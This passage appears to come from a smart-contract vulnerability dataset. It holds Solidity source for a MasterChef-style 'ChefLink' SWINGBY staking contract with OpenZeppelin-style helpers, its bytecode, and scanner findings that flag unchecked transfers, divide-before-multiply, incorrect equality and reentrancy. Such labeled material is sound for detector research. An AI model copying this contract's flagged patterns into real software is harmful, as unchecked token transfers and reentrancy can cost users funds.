* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ChefLink is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of SWINGBYs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accSwingbyPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accSwingbyPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. SWINGBYs to distribute per block.
uint256 lastRewardBlock; // Last block number that SWINGBYs distribution occurs.
uint256 accSwingbyPerShare; // Accumulated SWINGBYs per share, times 1e12. See below.
}
// The SWINGBY TOKEN!
IERC20 public swingby;
// Block number when bonus SWINGBY period ends.
uint256 public bonusEndBlock;
// SWINGBY tokens created per block.
uint256 public swingbyPerBlock;
// Bonus muliplier for early swingby makers.
uint256 public constant BONUS_MULTIPLIER = 1;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when SWINGBY mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(
address indexed user,
uint256 indexed pid,
uint256 amount
);
function init(
IERC20 _swingby,
uint256 _swingbyPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock
) public onlyOwner {
require(address(swingby) == address(0x0), "failed: init");
swingby = _swingby;
swingbyPerBlock = _swingbyPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(
uint256 _allocPoint,
IERC20 _lpToken,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock =
block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accSwingbyPerShare: 0
})
);
}
// Update the given swingbyPerBlock. Can only be called by the owner.
function modify(uint256 _swingbyPerBlock) public onlyOwner {
swingbyPerBlock = _swingbyPerBlock;
}
// Update the given pool's SWINGBY allocation point. Can only be called by the owner.
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(
_allocPoint
);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to)
public
view
returns (uint256)
{
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return
bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending SWINGBYs on frontend.
function pendingSwingby(uint256 _pid, address _user)
external
view
returns (uint256)
{
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accSwingbyPerShare = pool.accSwingbyPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier =
getMultiplier(pool.lastRewardBlock, block.number);
uint256 swingbyReward =
multiplier.mul(swingbyPerBlock).mul(pool.allocPoint).div(
totalAllocPoint
);
accSwingbyPerShare = accSwingbyPerShare.add(
swingbyReward.mul(1e12).div(lpSupply)
);
}
return
user.amount.mul(accSwingbyPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 swingbyReward =
multiplier.mul(swingbyPerBlock).mul(pool.allocPoint).div(
totalAllocPoint
);
pool.accSwingbyPerShare = pool.accSwingbyPerShare.add(
swingbyReward.mul(1e12).div(lpSupply)
);
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to ChefLink for SWINGBYs allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending =
user.amount.mul(pool.accSwingbyPerShare).div(1e12).sub(
user.rewardDebt
);
safeSWINGBYTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accSwingbyPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from ChefLink.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending =
user.amount.mul(pool.accSwingbyPerShare).div(1e12).sub(
user.rewardDebt
);
safeSWINGBYTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accSwingbyPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY. (TODO: proxy staking)
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe swingby transfer function, just in case if rounding error causes pool to not have enough SWINGBYs.
function safeSWINGBYTransfer(address _to, uint256 _amount) internal {
uint256 swingbyBal = swingby.balanceOf(address(this));
if (_amount > swingbyBal) {
swingby.transfer(_to, swingbyBal);
} else {
swingby.transfer(_to, _amount);
}
}
} | 0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80635312ea8e116100c35780638dbb1e3a1161007c5780638dbb1e3a1461025c578063916adad01461026f57806393f1a40b1461028257806398c36c09146102a3578063e2bbb158146102b6578063f2fde38b146102c95761014d565b80635312ea8e14610216578063630b5ba11461022957806364482f7914610231578063715018a6146102445780638aa285501461024c5780638da5cb5b146102545761014d565b80631eaaa045116101155780631eaaa045146101b65780632426fdee146101cb5780632f24ee27146101e0578063441a3e70146101e857806348cd4cb1146101fb57806351eb05a6146102035761014d565b806302c56b4114610152578063081e3eda1461017b5780631526fe271461018357806317caf6f1146101a65780631aed6553146101ae575b600080fd5b61016561016036600461130c565b6102dc565b6040516101729190611624565b60405180910390f35b61016561046e565b6101966101913660046112dc565b610474565b6040516101729493929190611437565b6101656104b8565b6101656104be565b6101c96101c436600461133b565b6104c4565b005b6101d3610633565b60405161017291906113e6565b610165610642565b6101c96101f636600461137c565b610648565b610165610784565b6101c96102113660046112dc565b61078a565b6101c96102243660046112dc565b6108d2565b6101c9610985565b6101c961023f36600461139d565b6109b0565b6101c9610a90565b610165610b19565b6101d3610b1e565b61016561026a36600461137c565b610b2d565b6101c961027d3660046112dc565b610b93565b61029561029036600461130c565b610bd7565b60405161017292919061162d565b6101c96102b13660046112a2565b610bfb565b6101c96102c436600461137c565b610c95565b6101c96102d736600461126a565b610db3565b6000806004848154811061030057634e487b7160e01b600052603260045260246000fd5b600091825260208083208784526005825260408085206001600160a01b038981168752935280852060049485029092016003810154815492516370a0823160e01b815291975092959294929391909116916370a0823191610363913091016113e6565b60206040518083038186803b15801561037b57600080fd5b505afa15801561038f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103b391906112f4565b90508360020154431180156103c757508015155b156104335760006103dc856002015443610b2d565b9050600061040f600654610409886001015461040360035487610e7390919063ffffffff16565b90610e73565b90610e86565b905061042e610427846104098464e8d4a51000610e73565b8590610e92565b935050505b610461836001015461045b64e8d4a51000610409868860000154610e7390919063ffffffff16565b90610e9e565b9450505050505b92915050565b60045490565b6004818154811061048457600080fd5b600091825260209091206004909102018054600182015460028301546003909301546001600160a01b039092169350919084565b60065481565b60025481565b6104cc610eaa565b6001600160a01b03166104dd610b1e565b6001600160a01b03161461050c5760405162461bcd60e51b815260040161050390611542565b60405180910390fd5b801561051a5761051a610985565b6000600754431161052d5760075461052f565b435b60065490915061053f9085610e92565b600655604080516080810182526001600160a01b03948516815260208101958652908101918252600060608201818152600480546001810182559281905292517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b9290930291820180546001600160a01b031916939096169290921790945593517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c840155517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d8301555090517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19e90910155565b6001546001600160a01b031681565b60035481565b60006004838154811061066b57634e487b7160e01b600052603260045260246000fd5b6000918252602080832086845260058252604080852033865290925292208054600490920290920192508311156106b45760405162461bcd60e51b8152600401610503906115ae565b6106bd8461078a565b60006106eb826001015461045b64e8d4a5100061040987600301548760000154610e7390919063ffffffff16565b90506106f73382610eae565b81546107039085610e9e565b80835560038401546107209164e8d4a51000916104099190610e73565b6001830155825461073b906001600160a01b0316338661104e565b84336001600160a01b03167ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b568866040516107759190611624565b60405180910390a35050505050565b60075481565b6000600482815481106107ad57634e487b7160e01b600052603260045260246000fd5b90600052602060002090600402019050806002015443116107ce57506108cf565b80546040516370a0823160e01b81526000916001600160a01b0316906370a08231906107fe9030906004016113e6565b60206040518083038186803b15801561081657600080fd5b505afa15801561082a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084e91906112f4565b9050806108625750436002909101556108cf565b6000610872836002015443610b2d565b90506000610899600654610409866001015461040360035487610e7390919063ffffffff16565b90506108bc6108b1846104098464e8d4a51000610e73565b600386015490610e92565b6003850155505043600290920191909155505b50565b6000600482815481106108f557634e487b7160e01b600052603260045260246000fd5b6000918252602080832085845260058252604080852033808752935290932080546004909302909301805490945061093a926001600160a01b0391909116919061104e565b8054604051849133917fbb757047c2b5f3974fe26b7c10f732e7bce710b0952a71082702781e62ae05959161096e91611624565b60405180910390a360008082556001909101555050565b60045460005b818110156109ac5761099c8161078a565b6109a5816116d5565b905061098b565b5050565b6109b8610eaa565b6001600160a01b03166109c9610b1e565b6001600160a01b0316146109ef5760405162461bcd60e51b815260040161050390611542565b80156109fd576109fd610985565b610a4e82610a4860048681548110610a2557634e487b7160e01b600052603260045260246000fd5b906000526020600020906004020160010154600654610e9e90919063ffffffff16565b90610e92565b6006819055508160048481548110610a7657634e487b7160e01b600052603260045260246000fd5b906000526020600020906004020160010181905550505050565b610a98610eaa565b6001600160a01b0316610aa9610b1e565b6001600160a01b031614610acf5760405162461bcd60e51b815260040161050390611542565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600181565b6000546001600160a01b031690565b60006002548211610b4e57610b4760016104038486610e9e565b9050610468565b6002548310610b6157610b478284610e9e565b610b47610b7960025484610e9e90919063ffffffff16565b610a48600161040387600254610e9e90919063ffffffff16565b610b9b610eaa565b6001600160a01b0316610bac610b1e565b6001600160a01b031614610bd25760405162461bcd60e51b815260040161050390611542565b600355565b60056020908152600092835260408084209091529082529020805460019091015482565b610c03610eaa565b6001600160a01b0316610c14610b1e565b6001600160a01b031614610c3a5760405162461bcd60e51b815260040161050390611542565b6001546001600160a01b031615610c635760405162461bcd60e51b81526004016105039061151c565b600180546001600160a01b0319166001600160a01b039590951694909417909355600391909155600291909155600755565b600060048381548110610cb857634e487b7160e01b600052603260045260246000fd5b60009182526020808320868452600582526040808520338652909252922060049091029091019150610ce98461078a565b805415610d2c576000610d1e826001015461045b64e8d4a5100061040987600301548760000154610e7390919063ffffffff16565b9050610d2a3382610eae565b505b8154610d43906001600160a01b03163330866110a4565b8054610d4f9084610e92565b8082556003830154610d6c9164e8d4a51000916104099190610e73565b6001820155604051849033907f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a1590610da5908790611624565b60405180910390a350505050565b610dbb610eaa565b6001600160a01b0316610dcc610b1e565b6001600160a01b031614610df25760405162461bcd60e51b815260040161050390611542565b6001600160a01b038116610e185760405162461bcd60e51b815260040161050390611490565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610e7f8284611673565b9392505050565b6000610e7f8284611653565b6000610e7f828461163b565b6000610e7f8284611692565b3390565b6001546040516370a0823160e01b81526000916001600160a01b0316906370a0823190610edf9030906004016113e6565b60206040518083038186803b158015610ef757600080fd5b505afa158015610f0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2f91906112f4565b905080821115610fc35760015460405163a9059cbb60e01b81526001600160a01b039091169063a9059cbb90610f6b908690859060040161141e565b602060405180830381600087803b158015610f8557600080fd5b505af1158015610f99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbd9190611286565b50611049565b60015460405163a9059cbb60e01b81526001600160a01b039091169063a9059cbb90610ff5908690869060040161141e565b602060405180830381600087803b15801561100f57600080fd5b505af1158015611023573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110479190611286565b505b505050565b6110498363a9059cbb60e01b848460405160240161106d92919061141e565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526110c5565b611047846323b872dd60e01b85858560405160240161106d939291906113fa565b600061111a826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166111549092919063ffffffff16565b80519091501561104957808060200190518101906111389190611286565b6110495760405162461bcd60e51b8152600401610503906115da565b6060611163848460008561116b565b949350505050565b60608247101561118d5760405162461bcd60e51b8152600401610503906114d6565b6111968561122b565b6111b25760405162461bcd60e51b815260040161050390611577565b600080866001600160a01b031685876040516111ce91906113ca565b60006040518083038185875af1925050503d806000811461120b576040519150601f19603f3d011682016040523d82523d6000602084013e611210565b606091505b5091509150611220828286611231565b979650505050505050565b3b151590565b60608315611240575081610e7f565b8251156112505782518084602001fd5b8160405162461bcd60e51b8152600401610503919061145d565b60006020828403121561127b578081fd5b8135610e7f81611706565b600060208284031215611297578081fd5b8151610e7f8161171b565b600080600080608085870312156112b7578283fd5b84356112c281611706565b966020860135965060408601359560600135945092505050565b6000602082840312156112ed578081fd5b5035919050565b600060208284031215611305578081fd5b5051919050565b6000806040838503121561131e578182fd5b82359150602083013561133081611706565b809150509250929050565b60008060006060848603121561134f578283fd5b83359250602084013561136181611706565b915060408401356113718161171b565b809150509250925092565b6000806040838503121561138e578182fd5b50508035926020909101359150565b6000806000606084860312156113b1578283fd5b833592506020840135915060408401356113718161171b565b600082516113dc8184602087016116a9565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b0394909416845260208401929092526040830152606082015260800190565b600060208252825180602084015261147c8160408501602087016116a9565b601f01601f19169190910160400192915050565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6040820152651c8818d85b1b60d21b606082015260800190565b6020808252600c908201526b19985a5b19590e881a5b9a5d60a21b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252601290820152711dda5d1a191c985dce881b9bdd0819dbdbd960721b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b90815260200190565b918252602082015260400190565b6000821982111561164e5761164e6116f0565b500190565b60008261166e57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561168d5761168d6116f0565b500290565b6000828210156116a4576116a46116f0565b500390565b60005b838110156116c45781810151838201526020016116ac565b838111156110475750506000910152565b60006000198214156116e9576116e96116f0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146108cf57600080fd5b80151581146108cf57600080fdfea264697066735822122033188b52cd7810796ccf824d46c4bd4a76eea4fda75974c5ddc3e959c000feaf64736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 